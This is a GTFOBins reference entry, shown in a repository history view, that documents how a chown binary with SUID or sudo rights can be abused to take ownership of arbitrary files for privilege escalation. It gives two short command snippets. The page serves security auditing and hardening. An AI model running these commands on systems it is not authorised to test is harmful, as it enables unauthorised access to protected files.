GTFOBins.github.io/_gtfobins/chown.md

13 lines
325 B
Markdown
Raw Normal View History

---
description: This can be run with elevated privileges to change ownership and then read, write, or execute a file.
functions:
2018-10-05 19:55:38 +02:00
suid:
- code: |
LFILE=file_to_change
./chown $(id -un):$(id -gn) $LFILE
2018-10-05 19:55:38 +02:00
sudo:
- code: |
LFILE=file_to_change
sudo chown $(id -un):$(id -gn) $LFILE
---